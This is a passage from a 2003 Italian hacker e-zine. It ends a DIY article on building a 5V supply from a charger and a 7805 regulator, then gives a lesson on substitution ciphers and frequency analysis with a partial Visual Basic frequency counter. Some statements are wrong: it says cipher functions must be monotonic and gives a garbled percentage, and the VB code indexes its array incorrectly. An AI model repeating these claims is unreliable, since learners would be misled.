| dei condensatori di queste capacità, usiamo un condensatore da 470uF |
| che si riesce a far stare all'interno del contenitore |
| (bisogna "adattarlo" rompendo un po' di inutili bavette di plastica |
| che sono all'interno). |
| in termini di prestazioni questo adattamento non crea particolari |
| problemi. |
| il condensatore va posizionato (se ci stà) al posto dei pin di uscita |
| del segnale, facendo ben attenzione a mettere il + nel + e il - nel -. |
| nel caso non si chiudesse più il caricabatterie, staccate il |
| condensatore, mettetelo da qualche altra parte e collegatelo con 2 |
| cavetti. |
| |
| adesso tocca al raddrizatore di tensione. |
| il 7805 è un integrato fatto così: |
| |
| +-----+ |
| | 0 | |
| |_____| pin 1. input |
| | | 2. massa |
| | | 3. output |
| +-----+ |
| H H H |
| U U U |
| |
| 1 2 3 |
| |
| come prima cosa, mettiamo all'integrato il diodo di protezione. |
| saldiamo il diodo 1N4001 tra il pin 1 e il pin 3. il diodo deve avere |
| il catodo (la parte contrassegnata con una stanghetta) rivolta al pin |
| 1, in questo modo (fig. 1): |
| |
| |
| +-----+ +-----+ |
| | 0 | | 0 | |
| |_____| |_____| |
| | | | | |
| | | | | |
| +-----+ +-----+ |
| H H H *-D-* |
| U U U U U U |
| | | |
| +|<-+ |
| |
| fig. 1 fig. 2 |
| |
| l'ideale sarebbe saldarlo appena sotto il contenitore plastico (fig. |
| 2) risparmiando parecchio spazio perchè far stare l'integrato 7805 all' |
| interno dell'involucro del trasformatore è un po' problematico. |
| il diodo di protezione non è strettamente necessario, però... |
| |
| la cosa migliore, prima di cominciare a saldare, è incollare |
| l'integrato, con un po' di loctite o colla a caldo, al posto del |
| vecchio condensatore, con la linguetta metallica che tocca con il |
| trasformatore. |
| una volta sistemato, passiamo a collegarlo al resto del circuito. |
| |
| |
| armiamoci di cavo e colleghiamo: |
| - il pin 1 con il + del condensatore da 470uF, sul retro dello stampato |
| - il pin 2 con il - del condensatore e con la massa del cavo d'uscita |
| - al pin 3 colleghiamo il segnale del cavo d'uscita |
| |
| quello che dovremmo avere è una cosa del genere |
| |
| |
| +---------------+ |
| | | |
| | | |
| | T | |
| | | |
| +---| -DDD- -DDD- |---+ |
| | +---------------+ | | |
| | -DDD- D | |
| | +CC+ / \ --- | | |
| +-|--|----+ +---------+ |
| | | |
| | +--> al pin 2 7805 |
| +-----> al pin 1 7805 |
| |
| |
| a questo punto, se avete collegato tutto correttamente, dovreste avere |
| un alimentatore da 5V prima di collegarlo alla rete elettrica, |
| verificate attentamente i collegamenti con il tester e controllate la |
| polarità del condensatore (hanno la particolarità di scoppiare se |
| collegati inversamente...) |
| |
| e questo è tutto... |
| |
| - bondo - |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ MiSC #09 - 01/06/2003 |
| GUARDA GUARDA CHE Ti LEGG0 iL W0RD [Dagart] 0x17/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Autore: come sempre il vostro Dagart!! |
| Ore: d_tupreuednzuteeor__o (é o no un testo di introduzione alla |
| crittoanalisi?!?!) |
| Titolo: Guarda Guarda che ti leggo il Word - Lezione 1 (Prima Parte) - |
| Sostituzione |
| |
| Stavo giocando come al solito a Warcraft III (che palle sempre a |
| quello?!? E che ci volete fare!!! Per la cronaca: ho risolto il |
| problema [vedi lesson precedente]!!! Windows XP va in conflitto con la |
| mia scheda video e ho dovuto creare una partizione con Windows ME per |
| giocare 'FINALMENTE' in modo decente. Comunque ...) quando mi sono |
| detto: "Bah! Ho appena fatto una strage di elfi e mi accingo a fare |
| una piadina di orchi ... perchè non continuare a scrivere gli articoli |
| sulla crottografia ?!?! Magari riesco ad inserirlo sul numero di |
| ottobre!!!). |
| |
| Comunque ... tornando a noi ... nella lezione precedente (appunto la |
| lezione 0) abbiamo discusso la generalità della crottografia e della |
| crittoanalisi introducendo concetti come algoritmi biunivoci f(x), |
| complessità, reversibilità e via dicendo. |
| |
| Come descritto nel programma oggi parleremo della crittografia a |
| SOSTITUZIONE. In particolar modo la lezione sarà suddivisa in tre |
| grossi tronconi: |
| |
| Prima Parte -> Descrizione Generale dell'Algoritmo |
| Seconda Parte -> Analisi degli Algoritmi introdotti |
| Terza Parte -> Confronto Generale |
| |
| Detto ciò ... non possiamo fare altro che cominciare! Tiriamo su le |
| maniche ... facciamo un profondo respiro e ... immergiamoci in questo |
| pazzo mondo! |
| |
| P.S.: Molto spesso farò riferimento a descrizioni matematiche di |
| funzioni (generalmente sono nozioni che si imparano in un qualsiasi |
| corso di matematica di scuola superiore). Ad ogni modo, nel limite del |
| possibile (senza eludere dallo scopo del testo) cercherò di |
| semplificare e spiegare perlomeno le parti più astruse. Detto |
| ciò: "BUONA LETTURA!" :P |
| |
| **************************************************** |
| * Prima Parte: Descrizione Generale dell'Algoritmo * |
| **************************************************** |
| |
| Sebbene molti testi decidano di dividere la sostituzione in due grossi |
| tronconi, ovvero in sostituzione letterale (in relazione alla |
| sostituzione di una lettera con un'altra) e sostituzione algebrica |
| (dove ad ogni lettera è associato un valore il quale è sostituito, |
| seguendo una funzione di crittazione f(x), ad un altro che a sua volta |
| corrisponde al vero e proprio valore C di crittazione), in realtà |
| preferisco non effettuare alcuna distinzione in quanto entrambi |
| possono essere ricondotti al medesimo gruppo ... ovvero la |
| sostituzione algebrica. |
| |
| Se dovessimo rappresentare in modo molto semplice un algoritmo a |
| sostituzione potremo in realtà definirlo come "un algoritmo di |
| crittazione in grado di sostituire il carattere (o la lettera, o il |
| valore, o ... beh insomma quello che volete!) con un qualsiasi altro |
| differente dal primo seguendo un algoritmo reversibile". |
| |
| Quindi si definiscono algoritmi a sostituzione tutti gli algoritmi in |
| grado di associare ad una valore M un valore C secondo lo schema: |
| |
| M -- f(x) --> C |
| |
| dove f(x) è la funzione di crittazione a sostituzione. |
| |
| In particolar modo dalla definizione data possiamo dedurre che, per un |
| algoritmo a sostituzione, è necessario possedere: |
| |
| 1. Un CharSet (= set di caratteri utilizzabili) di caratteri a cui è |
| associato un valore univoco |
| 2. Una funzione di crittazione f(x) |
| |
| Tralasciando il primo punto, che mi sembra al quanto ovvio, possiamo |
| invece soffermarci sul punto 2 e constatare le caratteristiche che la |
| funzione di crittazione f(x) deve possedere. |
| |
| Poichè abbiamo precedentemente detto che ad ogni valore M è necessario |
| associare (utilizzando f(x)) un valore univoco C secondo lo schema M--f |
| (x)-->C possiamo facilmente constatare che la funzione alla base |
| dell'algoritmo deve necessariamente essere una funzione crescente (o |
| decrescente). Se infatti la funzione non fosse monotona crescente (o |
| decrescente) portemmo associare a più valore di M il medesimo valore C |
| che, come accennato nella lezione 0, non farebbero altro che ridurre |
| l'entropia del messaggio ma aumentando notevolmente la complessità del |
| sistema (a questo proposito spero, quando avrò tempo [sigh!], di |
| scrivere un articolo sull'entropia dell'informazione ...) e rendendo |
| quindi impossibile la decifrazione (anche conoscendo l'algoritmo di |
| crittazione e la chiave di cifratura). |
| |
| Secondo tale definizione allora ... possiamo solo usare come algoritmi |
| di cifratura a sostituzione tutte quelle funzioni (o parte di |
| funzioni) che in realtà possiedono per tutto il campo di definizione |
| (ovvero tutti i valori in entrata) una funzione monotona crescente (o |
| decrescente). |
| |
| Prendiamo ad esempio in considerazione la funzione elementare y = f(x) |
| = mx + q dove m e q sono le chiavi di cifratura, x (o M il che è li |
| stess!!) è il carattere in entrata da cifrare e y (o C ... stessa |
| solfa) è il carattere cifrato in uscita. |
| |
| Studiando la funzione f(x) scopriamo: |
| - se non conosciamo m e q (le chiavi dell'algoritmo) non possiamo |
| ricavare direttamente x da y. |
| - f(x) è una funzione reversibile (ovvero esiste una funziona f(x)^-1 |
| tale che dato y come carattere in entrata dia x come carattere in |
| uscita) |
| - f(x) dà sempre valori interi per x intero (quindi al charset deve |
| sempre essere associato un valore intero) |
| |
| Quindi la funzione y = f(x) = mx + q può essere utilizzata come |
| algoritmo di cifratura a sostituzione. |
| |
| Esempio: |
| |
| CharSet: [A..Z] = [1..26] |
| f(x): mx + q |
| m: 3 |
| q: 2 |
| |
| Frase non Cifrata: ALGORITMO A SOSTITUZIONE |
| |
| Cifratura ... |
| |
| A = 1 -- f(x) --> 05 |
| L = 12 -- f(x) --> 38 |
| G = 7 -- f(x) --> 23 |
| .. |
| |
| Frase Cifrata: 053823475629624147 05 594759622962658029474417 |
| |
| Prendiamo invece in esame la funzione y = f(x) = logaritmo in base B |
| di x (che da ora in poi verra scritta come log$b$(x) ) dove b è la |
| chiave di cifratura. |
| |
| Studiando la funzione f(x) scopriamo: |
| - solo conoscendo la chiave è possibile decifrarlo immediatamente |
| - è una funzione crescente monotona per x > 1 |
| - è una funzione reversibile |
| - non è quasi mai intera |
| |
| Sebbene a prima vista possa sembrare utilizzabile ... in realtà senza |
| particolari accirgimenti non è utilile come algoritmo: infatti questa |
| funzione non è quasi mai intera. Quindi, se volessimo utilizzare |
| valore interi per la cifratura ... dovremmo troncare i valori decimali |
| in uscita ottenendo in questo modo non più una funzione monotona ma |
| una funzione in cui i valori si ripetono. Se volessimo a tutti i costi |
| utilizzarla dovremmo preparare alcuni accorgimenti. Ad esempio |
| potremmo memorizzare come valore di cifratura il valore double (4 |
| byte) del decimale in uscita oppure potremmo moltiplicare il valore in |
| uscita per una costante z in modo tale da ottenere interi diversi per |
| ogni valore in entrata. Quindi ... sbizzaritevi! |
| |
| Quindi, generalizzando, possiamo utilizzare tutte le funzioni |
| polinomiali del tipo: |
| --> a(0)b^0 + a(1)b^1 + a(2)b^2 + ... + a(n)b^n |
| oppure tutte le funzioni monotone crescenti (o decrescenti) con gli |
| accorgimenti dovuti secondo il caso. |
| |
| Arrivati a questo punto non posso che dire di aver concluso la prima |
| parte e, l'unica cosa che mi rimane da fare, e accennare i modelli |
| generali di algotmi che utilizzano la cifratura per sostituzione. Tali |
| algoritmi si classificano in: |
| |
| * Cifratura a Sostituzione |
| --> Cifratura Lineare |
| --> Cifratura a funzione monotona crescente (o decrescente) |
| --> Sostituzione Semplice |
| (Algoritmo di Cesare) |
| --> Sostituzione a Charset Casuale |
| --> Sostituzione a Blocchi |
| (Algoritmo di Vigenère) |
| --> Cifratura in funzione della posizione |
| --> Cifratura a funzione Variabile |
| (Algoritmo FPos) |
| --> Cifratura con Algoritmo Enigma |
| (Seconda Parte) |
| --> Cifratura Semplice One-Time Pad |
| (Seconda Parte) |
| |
| Dopo questo bellissimo schema possiamo accingerci all'introduzione |
| della seconda parte che descrive in particolare tutti gli algoritmi |
| sopra citati. |
| |
| Quindi ... dopo una pausa di un'oretta che ora mi prenderò (magari |
| sorseggiando all'inglese un po' di te! :P) comincierò a scrivere la |
| seconda puntata dell'avvincente saga ... "GUARDA GUARDA CHE TI LEGGO |
| IL WORD"!!! |
| |
| ***************************************************** |
| * Parte Seconda: Analisi degli Algoritmi introdotti * |
| ***************************************************** |
| |
| Haloa Guys! Eccoci qui dopo la mia meritata pausa per ricominciare a |
| scrivere nuovamente e completare finalmente la lezione di oggi. |
| |
| Come precedentemente schematizzato e accennato, in questa sezione |
| verranno discusse le tecniche crittografiche che fanno uso |
| dell'algoritmo a sostituzione. |
| |
| Per coloro a cui piace un po' di storia possiamo dire che l'algoritmo |
| di cifrazione è uno degli algoritmi più vecchi al mondo: addirittura |
| lo stesso Cesare era dedito utilizzare un'algoritmo di cifrazione a |
| sostituzione per impartire i comandi alle proprie truppe in modo tale |
| che le informazioni non potessero essere scoperte dai nemici. |
| Successivamente gli algoritmi di cifratura a sostituzione vennero |
| utilizzati nei più disparati modi e nelle diverse epoche storiche: |
| nell'ottocento fu messo appunto un'algoritmo a blocchi (il cosiddetto |
| algoritmo di Vigenère) il quale fu considerato per diverso tempo |
| l'algoritmo a sostituzione più affidabile mentre durante la seconda |
| guerra mondiale veniva utilizzato per la trasmissione crittata di |
| informazione da parte dell'esercito tedesco di un algoritmo che |
| affidava la sua sicurezza all'utilizzo di un algoritmo di sostituzione |
| a funzione variabile ... |
| |
| Tuttavia, sebbene tutti questi illustri precedenti ... l'algoritmo a |
| sostituzione possiede un'enorme limitazione (che tratteremo |
| nell'ultima parte) che ne limita fortemente l'uso. |
| |
| Ad ogni modo ... bando alle ciance e cominciamo!! |
| |
| +--------------------------------------------+ |
| | Sostituzione Semplice: Algoritmo di Cesare | |
| +--------------------------------------------+ |
| |
| Probabilmente l'algoritmo a sostituzione semplice è uno dei più |
| semplici algoritmi esistenti al mondo ed è probabilmente uno dei primi |
| algoritmi di cifratura utilizzati nella storia (documentata!!) umana. |
| |
| L'algoritmo di cifratura semplice consiste nel sostituire ad una |
| lettera del CharSet iniziale una lettere che prende n posizioni |
| successive. Ovviamente, senza dimostrazioni ovvie, l'algoritmo di |
| cifratura possiede la seguente forma: |
| |
| f(x) = x + k |
| |
| dove x equivale al valore della lettera nel CharSet mentre k equivale |
| alla costante di spostamento all'interno del CharSet (la quale |
| diventerà ovviamente la nostra chiave di cifratura). In realtà, per |
| essere più precisi, l'algoritmo di cifratura ha la forma: |
| |
| f(x) = (x + k) mod m |
| |
| dove m è il valore massimo del CharSet (dove ovviamente si è posto |
| come valore più piccolo lo zero). |
| |
| Esempio: |
| |
| CharSet: [A..Z] = [0..25] |
| Frase: VENI VIDI VICI |
| Chiave: +3 |
| Frase Cifrata: YHQL YLGL YLFL |
| |
| Tralasciando per un momento l'analisi crittografica del sistema (che |
| tratteremo più approfonditamente nel prossimo algoritmo), possiamo |
| comunque notare l'ESTREMA DEBOLEZZA dell'algoritmo facendo |
| semplicemente un ragionamento per un eventuale attacco di tipo Brute- |
| Force. Prendiamo infatti in considerazione la chiave di cifratura: |
| essa non è nient'altro che un numero compreso tra 0 e 25 (certo: è un |
| idiota colui che non solo utilizza questo algoritmo ma che utilizza |
| anche come chiave il valore k=0, :P ). Di conseguenza, le possibili |
| combinazioni non sono che solo 25!!! Basterà quindi prendere una |
| porzione sola del testo (per non sovraccaricare la mente o la CPU), |
| provare tutte e 25 le combinazioni e verificare quale di queste darà |
| come risultato un testo comprensibile ... |
| |
| Per ottimizzare il sistema di crittoanalisi ed elevarlo dalla semplice |
| forza bruta possiamo utilizzare dei piccoli accorgimenti che |
| torneranno sempre utili in un'analisi crittografica: ad esempio, se il |
| testo è un testo in italiano, si possono provare n caratteri a caso e |
| verificare che questo non diano una lettera che solitamente non è |
| presente in un testo in italiano. Se ad esempio utilizzo la chive k=7 |
| mi accorgo che nel testo che sto cercando di decifrare la lettera J |
| compare 4 volte per 10 lettere prese a caso, vorra dire che MOOOOLTO |
| probabilmene tale chiave è errata e quindi può essere immediatamente |
| sostituita. Inoltre ... sapendo che ad ogni lettera corrisponde sempre |
| lo stesso alter ego, se in una frase vedete una lettera isolata e |
| staccata dalle altre (sempre se l'algoritmo non prevede l'eliminazione |
| degli spazi ma ... non preoccupatevi! C'è un rimedio anche a questo!) |
| non può che essere (sempre se consideriamo il testo in italiano) una |
| vocale (esclusa la u ... ovviamente). In tal caso ... le combonazioni |
| da provare scendono drasticamente a 4!!! |
| |
| Dopo queste rivelazioni viene spontaneo chiedersi ... "E' forse per |
| questo che Giulio Cesare perse?" |
| |
| +--------------------------------+ |
| | Sostituzione a Charset Casuale | |
| +--------------------------------+ |
| |
| Ora complichiamo un po' le cose: il primo algoritmo che vi ho |
| presentato era molto semplice per condiscenza dei Newbye che come me |
| (ai bei tempi addietro) devono cominciare ... ma! E' ora di cominciare |
| a trattare qualcosa di leggermente più difficile. |
| |
| Supponiamo infatti che la chiave non sia più il numero di traslazioni |
| all'interno del Charset ma che sia proprio il Charset! Per chiarire il |
| concetto prendiamo in considerazione la frase: |
| |
| Frase: DOMANI IL SOLE BRILLA |
| |
| (E' tardi ... lo so ... non chiedetemi esempi più Brillanti! d:) ) |
| |
| Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| Chiave: QPWOEIRUTYALSKDJFHGZMXNCBV |
| |
| Frase Cifrata: ODSQKT TL GDLE PHTLLQ |
| |
| Come si può facilmente vedere dalla chiave, l'algoritmo risulta essere |
| più complesso: infatti, se utilizzassimo un attacco del tipo Brute- |
| Force dovremmo tentare 26*25*24*...*3*2*1 che equivale a 26! |
| =403'291'461'126'605'635'584'000'000 combinazioni (ovvero un numero |
| dell'ordine di 10^26)!!! |
| |
| Ovviamente noi non siamo qui per utilizzare attachi Brute-Force ma per |
| cominciare a muovere i primi passi verso l'analisi crittografica. |
| |
| La debolezza dell'algortimo a sostituzione, che si percuote in tutte |
| le sue forme, è sempre la medesima: ovvero, il carattere in entrata M |
| equivale SEMPRE al carattere in uscita C. Nel nostro esempio, il |
| carattere A equivale nel testo SEMPRE al carattere Q: dom'A'ni |
| (ods'Q'kt), brill'A' (phtll'Q'), e così per tutte le altre lettere del |
| Charset. Quindi, in riferimenti alla grammatica della lingua (in |
| questo testo ovviamente mi riferiro alla grammatica italiana) si |
| possono notare dei piccoli particolari che faranno cedere l'algoritmo |
| rendendo facile il lavore del crittoanalista. Prendiamo in esame un |
| testo in cui gli spazi sono mantenuti (verranno trattati i testi in |
| cui anche lo spazio è o eliminato o sostituito un po' più avanti): |
| com'è facile osservare, la lingua italiana è piena di articoli la cui |
| lunghezza varia da 1 carattere (i), 2 caratteri (il, lo, la, le) e 3 |
| caratteri (gli) ed è inoltre stracolma di schifezzuole come |
| preposizioni, pronomi personali, ... di lunghezza medio bassa. |
| Tuttavia possiamo sicuramente affermare che gli articoli compaiono con |
| una frequenza maggiore. Sapendo che tal parola composta da due lettere |
| è SICURAMENTE un articolo è possibile cominciare a sostituire le |
| lettere corrispondenti all'articolo per tutto il testo. Procedendo |
| così a tentativi per tutto il testo è possibile, nel tempo massimo di |
| mezz'ora, risolvere un qualsiasi testo in questo modo cifrato. |
| |
| Per aiutare ulteriormente il crittoanalista vengono in aiuto le regole |
| di composizione delle parole: è infatti noto in ogni lingua una serie |
| di regole generali che giudano la formazione delle parola. Ad esempio |
| nella lingua italiana non comparirà MAI la parola shke in quanto |
| generalmente le parole della lingua italiana non si presentano in |
| questa forma (sebbene le eccezioni che confermano la regole ne |
| esistono aiosa!). Quindi, vocabolario italiano (o inglese, o quel |
| cavolo che volete!) alla mano, è possibile ricercare le regole |
| generali per la composizione delle parole. Siccome questa sera mi |
| sento particolarmente buono, scriverò le principali (ovvero in realtà |
| quelle che mi vengono in mente sul momento!): |
| |
| 1. La sillaba più lunga possiede al massimo 4 lettere |
| 2. Ogni sillaba possiede almeno 1 lettera |
| 3. Ogni sillaba finisce con una vocale |
| 4. La lettera H è sempre preceduta dalla lettera C o G e precede la |
| vocale E o I (tranne nel caso di HOTEL) |
| 5. Generalmente, se una parola è più lunga di quattro lettere finisce |
| quasi sempre con una vocale |
| 6. Salvo poche eccezioni, se una parala è più lunga di quattro lettere |
| inizia quasi sempre con una consonante |
| 7. Se la lettera R si trova in seconda o in penultima posizione è |
| SEMPRE preceduta da una consonante |
| 8. Dopo la lettera Q si trova sempre la lettera U |
| |
| Considerando questo leggi banali della grammatica italiana e |
| aiutandosi con gli articoli è SEMPRE (è dico SEMPRE) possibile |
| attacare un qualsiasi testo crittato nei modi precedentemente |
| descritti. |
| |
| Tutto questo bellissimo ragionamento ovviamente funziona se |
| consideriamo un algoritmo che non elimina gli spazi ma ... cosa |
| succederebbe se TUTTI gli spazi venissero eliminati??!? Beh... le cose |
| si complicherebbero un pochino (in quanto infatti non possiamo con |
| certezza suddivedere gli elementi di una frase in articoli, pronomi, |
| chissàchealtro, ...) ma ... siamo qui per questo!!! |
| |
| Prendiamo in esame la stessa frase di prima: |
| |
| Frase: DOMANI IL SOLE BRILLA |
| |
| Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| Chiave: QPWOEIRUTYALSKDJFHGZMXNCBV |
| |
| Frase Cifrata: ODSQKT TL GDLE PHTLLQ |
| Frase Cifrata senza Spazi: ODSQKTTLGDLEPHTLLQ |
| |
| E' ovvio che la decifratura della frase cifrata senza spazi comporta |
| la formazione di un messaggio in chiaro senza spazi (ricordate la |
| teoria dell'informazione...), quindi, come ad esempio, otterremo la |
| frase decifrata dal testo cifrato precedente: |
| |
| Frase Cifrata senza Spazi: ODSQKTTLGDLEPHTLLQ |
| Frase Decifrata: DOMANIILSOLEBRILLA |
| |
| ma, naturalmente, essendo un italiano leggibile è possibile capire |
| ugualmente il senso di una frase anche in assenza degli spazi. |
| |
| Tuttavia, se siete amanti della precisione, è possibile inserire nel |
| Charset 'anche' (non è detto che sia necessario) un carattere relativo |
| allo spazio. Quindi, considerando sempre l'esempio precedente: |
| |
| Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ_ |
| Chiave: QPWOEIRUTY_LSKDJFHGZMXNCBVA |
| |
| Frase: DOMANI_IL_SOLE_BRILLA (per semplicità ho sostituito lo spazio |
| con il carattere '_') |
| Frase Cifrata: ODSQKTATLAGDLEAPHTLLQ |
| |
| Tuttavia vedrete successivamente che è meglio evitare di codificare |
| anche lo spazio (se questo è possibile), soprattutto se utilizzate un |
| algoritmo a sostituzione. |
| |
| |
| Ovviamente arrivati a questo punto voi vi starete chiedendo: come |
| acciderbolina (?) comincio la crittoanalisi. Ma ... niente paura ... |
| ora tutto vi sarà rivelato! |
| |
| Prendiamo sempre in considerazione la precedente chiave cifrata (... e |
| che vi devo dire! Quando cambieremo la cifratura cambierò anche |
| l'esempio!!): |
| |
| Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| Chiave: QPWOEIRUTYALSKDJFHGZMXNCBV |
| |
| Frase: DOMANIILSOLEBRILLA |
| Frase Cifrata: ODSQKTTLGDLEPHTLLQ |
| |
| Se avete una vista aguzza noterete che esistono lettere che più di |
| altre si ripetono. In particolar modo notiamo che sono le vocali ad |
| avere una frequenza maggiore. Voi direte: "E' ovvio ... sono quelle |
| che necessariamente si ripetono più spesso!". Ma estendendo il |
| discorso ad un livello più generale possiamo afferemare che nella |
| lingua italiana (come del resto in ogni lingua) esistono lettere che |
| si ripetono più spesso di altre: ad esempio la vocale A e la vocale E |
| sono presenti quasi sempre in ogni parola mentre la vocale U si |
| presenta poche volte. Possiamo inoltre fare lo stesso ragionamento |
| anche alle consonanti: ad esempio le lettere S, L, P, R si presentano |
| con una fraquenza maggiore, ad esempio, delle consonanti H e Z. Tutto |
| questo può essere ulteriormente generalizzato utilizzando le |
| condizioni statistiche: infatti prendendo un testo standard (ovvero un |
| testo molto semplice non specialistico relativo alla lingua in |
| considerazione) è possibile affermare che la frequenza delle lettere |
| all'interno di quel testo è identica a qualsiasi altro testo standard. |
| In particolar modo possiamo ulteriormente afferemare che la frequenza |
| delle lettere risulta sempre più generale al crescere della dimensione |
| del testo standard. |
| |
| Quest'ultima afferemazione è semplice da verificare: infatti prendendo |
| un testo molto piccolo (magari 15 lettere) in qui è presente la |
| lettera H (ad esempio la frase: OGGI SONO IN HOTEL) sarebbe semplice |
| affermare che la lettera H possiede una frequenza del 1/15 % (ovvero |
| all'incirca del 7%) cosa del resto impossibile. Quindi, affinchè sia |
| possibile estendere il concetto di frequenza di un testo standard ad |
| altri testi standard, è necessario utilizzare testi di dimensioni |
| molto grandi (almeno di 10000 caraetteri esclusi gli spazi). |
| |
| Per poter andare avanti nella trattazione soffermiaci un momento |
| nell'analisi della frequenza di un testo standard, come ad esempio: |
| |
| TITOLO: Madame Bovary |
| AUTORE: Gustave Flaubert |
| TRADUZIONE: Bruno Oddera |
| DIRITTI D'AUTORE: Sì |
| FONTE: Liber Liber |
| CAPITOLO: IV |
| |
| E scandiamo il testo con un programma in grado di analizzare la |
| frequenza dei caratteri. Perchè mi sento buono oggi, vi scrivo un |
| breve programma in VB che permette di fare ciò. |
| |
| ---------------------------- Inizio Programma ------------------------- |
| --- |
| |
| '+------------+-------------+ |
| '| Componente | Name | |
| '+------------+-------------+ |
| '| Form | -> MainForm | |
| '+------------+-------------+ |
| '| | -> Entrata | |
| '| Button | -> Uscita | |
| '| | -> Elabora | |
| '+------------+-------------+ |
| '| Label | -> LEntrata | |
| '| | -> LUscita | |
| '+------------+-------------+ |
| ' |
| 'Il programma calcola la frequenza dei singoli caratteri (senza |
| distinzione tra |
| 'maiuscole e minuscole) tralasciando caratteri speciali e di |
| formattazione. |
| ' |
| 'L'algoritmo può essere ulteriormente implementato migliorando ad |
| esempio la funzione |
| 'di Ordinamento |
| |
| 'Program created by Dagart. |
| |
| Dim Frequenze(0 to 25, 0 to 1) as Integer |
| '[a..z] = [97..122] |
| '[A..Z] = [65..90] |
| Dim Totale as Long |
| |
| sub Form_Load() |
| |
| MainForm.Caption = "Analisi delle Frequenze di un testo" |
| Entrata.Caption = "File in Entrata" |
| Uscita.Caption = "File in Uscita" |
| Elabora.Caption = "Elabora il Testo" |
| LEntrata.Caption = "" |
| LUscita.Caption = "" |
| |
| end Sub |
| |
| sub Entrata_Click() |
| |
| LEntrata.Caption = InputBox("Inserisci il percorso ed il nome |
| completo del File di Origine...") |
| |
| end Sub |
| |
| sub Uscita_Click() |
| |
| LUscita.Caption = InputBox("Inserisci il percorso ed il nome |
| completo del File di Uscita...") |
| |
| end Sub |
| |
| sub Elabora_Click() |
| |
| dim Valore as Byte |
| |
| Inizializza |
| |
| Open LEntrata.Caption for Binary as #1 |
| |
| Do While Not EOF(1) |
| |
| get #1,,Valore |
| Calcola(Valore) |
| |
| Loop |
| |
| Close #1 |
| |
| Totale = 0 |
| For i = 0 To 25 |
| Totale = Totale + Frequenze(i) |
| Next i

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT